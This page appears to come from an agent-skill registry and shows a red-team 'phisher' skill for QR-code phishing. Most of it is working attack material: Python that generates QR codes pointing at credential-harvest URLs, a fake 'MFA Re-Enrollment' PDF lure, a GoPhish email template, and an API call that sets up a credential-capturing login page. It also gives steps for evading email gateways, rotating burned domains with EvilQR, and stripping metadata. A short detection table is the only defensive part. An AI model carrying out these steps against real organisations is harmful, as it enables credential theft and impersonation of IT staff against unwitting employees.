QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.
61
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.mdEmail gateway URL scanners parse hyperlinks and anchor tags — they rarely decode QR codes embedded as images. A QR code pointing at a credential-harvest page survives gateway scanning that would flag the same URL in plaintext. Quishing is now the primary bypass for organisations running Proofpoint / Mimecast / Microsoft Defender URL detonation.
qrcode + Pillow in the sandbox (pip install qrcode[pil]).gophish-campaign).lookalike-domain.lure-deconfliction handshake COMPLETE for this campaign.# Generate a basic QR code pointing at the harvest URL
python3 -c "
import qrcode
img = qrcode.make('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img.save('/tmp/qr_lure.png')
"
# Generate with branding (logo overlay, colours)
python3 << 'PYEOF'
import qrcode
from qrcode.image.styledpil import StyledPilImage
from qrcode.image.styles.moduledrawers import RoundedModuleDrawer
from qrcode.image.styles.colormasks import RadialGradiantColorMask
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img = qr.make_image(
image_factory=StyledPilImage,
module_drawer=RoundedModuleDrawer(),
color_mask=RadialGradiantColorMask(
back_color=(255, 255, 255),
center_color=(0, 51, 153),
edge_color=(0, 102, 204),
),
)
img.save('/tmp/qr_branded.png')
PYEOF| Technique | ID | Usage |
|---|---|---|
| Phishing: Spearphishing Attachment | T1566.001 | QR code image embedded in PDF / DOCX / email body |
| User Execution: Malicious Link | T1204.001 | Victim scans QR, phone browser opens harvest URL |
| Phishing for Information: Spearphishing Link | T1598.003 | Credential capture page behind the QR URL |
Generate the QR PNG at error-correction level H (30% redundancy) so a centre logo can overlay up to 30% of modules without breaking decode:
import qrcode
HARVEST_URL = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"
qr = qrcode.QRCode(
version=None, # auto-size
error_correction=qrcode.constants.ERROR_CORRECT_H,
box_size=10,
border=4,
)
qr.add_data(HARVEST_URL)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("/workspace/qr_lure.png")To overlay a corporate logo in the centre (improves trust cues):
from PIL import Image
qr_img = Image.open("/workspace/qr_lure.png").convert("RGBA")
logo = Image.open("/workspace/target_logo.png").resize((60, 60))
pos = ((qr_img.size[0] - logo.size[0]) // 2,
(qr_img.size[1] - logo.size[1]) // 2)
qr_img.paste(logo, pos, logo)
qr_img.save("/workspace/qr_branded.png")Build a PDF that mimics an IT notice (MFA re-enrollment, password policy update) with the QR image inline. The PDF body contains no clickable URL — only the image — so URL scanners see nothing.
from fpdf import FPDF
pdf = FPDF()
pdf.add_page()
pdf.set_font("Helvetica", "B", 16)
pdf.cell(0, 10, "Action Required: MFA Re-Enrollment", ln=True, align="C")
pdf.ln(8)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
"Our identity provider requires all employees to re-enroll their "
"MFA token by <DEADLINE>. Scan the QR code below with your mobile "
"device to complete the process.")
pdf.ln(6)
pdf.image("/workspace/qr_branded.png", x=65, w=80)
pdf.ln(6)
pdf.set_font("Helvetica", "I", 9)
pdf.cell(0, 6, "IT Security — Do not forward this document.", align="C")
pdf.output("/workspace/mfa_reenroll.pdf")Attach the QR as an inline CID image so it renders inside the email body rather than as a downloadable attachment:
# GoPhish template HTML — embed the QR as a CID-referenced inline image
cat > /workspace/qr_template.html << 'HTML'
<html><body style="font-family:Segoe UI,sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Please scan the QR code below to verify your account:</p>
<p style="text-align:center;">
<img src="cid:qr_lure" width="200" height="200" alt="QR Code" />
</p>
<p style="font-size:11px;color:#666;">
IT Security Team — <TARGET_ORG><br/>
{{.Tracker}}
</p>
</body></html>
HTMLWhen sending via GoPhish, add the QR PNG as an attachment with
Content-ID: <qr_lure> so the CID reference resolves.
The QR resolves to a landing page that clones the target's SSO portal. GoPhish captures submitted credentials and redirects to the real login:
# Minimal M365-themed harvest page for GoPhish
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
-H 'Content-Type: application/json' \
"$GOPHISH_API/pages/" -d '{
"name": "qr-sso-landing",
"html": "<form method=\"POST\"><input name=\"email\" placeholder=\"Email\"/><input name=\"password\" type=\"password\" placeholder=\"Password\"/><button>Sign In</button></form>",
"capture_credentials": true,
"capture_passwords": true,
"redirect_url": "https://login.microsoftonline.com"
}'EvilQR serves a QR that proxies through a redirector, letting you rotate the harvest URL without regenerating the QR image:
# Clone and start EvilQR
git clone https://github.com/nickvdyck/evilqr /opt/evilqr
cd /opt/evilqr
# Configure redirect target
export EVILQR_TARGET="https://login.<LURE_DOMAIN>/auth"
python3 server.py --port 8443 --cert /opt/certs/server.pemBenefit: if the harvest domain is burned mid-campaign, rotate the backend URL without re-sending the lure.
?id= per recipient so GoPhish can
attribute scans. Use the GoPhish {{.RId}} template variable.exiftool -all= file.pdf)
before attaching.opsec_level (stealth ≤2/h, standard ≤20/h).| Tool | Purpose |
|---|---|
qrcode (Python) | QR image generation with styling |
fpdf2 (Python) | PDF creation with embedded images |
| GoPhish | Campaign orchestration, tracking, credential capture |
| EvilQR | Dynamic QR redirector with URL rotation |
exiftool | Strip PDF metadata before delivery |
| Detection | Source | Description |
|---|---|---|
| QR code in email attachment | Proofpoint TAP / Mimecast | Image-based QR decode on inbound mail |
| Mobile OAuth token from unusual geo | Azure AD sign-in logs | Sign-in from mobile IP outside corporate range |
| PDF with no clickable URLs but embedded image | Content inspection | Anomalous PDF structure (image-only, no URI objects) |
| Rapid MFA prompt after QR scan | IdP logs | Credential submission followed by MFA challenge |
IF target org uses advanced QR-decode email gateway (Abnormal, Tessian)
→ deliver QR inside a password-protected PDF attachment
→ provide password in a separate email or SMS pretext
ELIF target org uses standard URL-scanning gateway
→ embed QR directly in email body as inline image
ELIF engagement requires maximum stealth
→ use EvilQR dynamic redirector + URL rotation
ELSE
→ standard QR in PDF attachment via GoPhish campaignCaptured credentials → Credential node linked to the User node
with the QR tracking id. Save GoPhish campaign results under
evidence/phisher/<campaign>-quishing.json. Record which QR variant
was used (static / EvilQR dynamic) and the mobile user-agent string.
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.